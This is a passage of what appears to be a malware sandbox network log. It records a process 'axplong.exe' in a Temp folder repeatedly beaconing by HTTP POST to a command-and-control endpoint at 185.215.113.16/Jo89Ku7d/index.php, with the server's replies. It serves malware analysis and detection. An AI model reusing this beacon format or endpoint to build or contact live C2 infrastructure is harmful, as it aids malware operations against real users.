Sep 27, 2024 01:29:51.794341087 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:52.018054008 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49751	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:52.133939981 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:52.883769035 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:52.884602070 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:53.140917063 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	49752	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:53.259809971 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:53.964808941 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:53.965877056 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:54.190242052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	49753	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:54.306905031 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:55.015114069 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:55.016233921 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:55.245140076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	49754	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:55.352986097 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:56.059129000 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:56.061546087 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:56.292239904 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	49755	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:56.404169083 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:57.107424021 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:57.108181000 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:57.331981897 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	49756	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:57.448008060 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:58.156274080 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:58.157058001 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:58.416165113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	49757	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:58.525059938 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:59.251431942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:59.252312899 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:59.484220028 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	49758	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:59.603645086 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:30:00.328620911 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:30:00.331284046 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:30:00.555938959 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	49759	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:30:00.664974928 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:30:01.371134043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:30:01.371953964 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:30:01.614501953 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	49760	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:30:01.728640079 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:30:02.446580887 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:30:02.452934980 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:30:02.682892084 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	49761	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:30:02.793092966 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:30:03.504374981 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	49762	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:30:03.515361071 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:30:04.228378057 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	49763	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:30:04.339654922 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:30:05.059338093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	49764	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
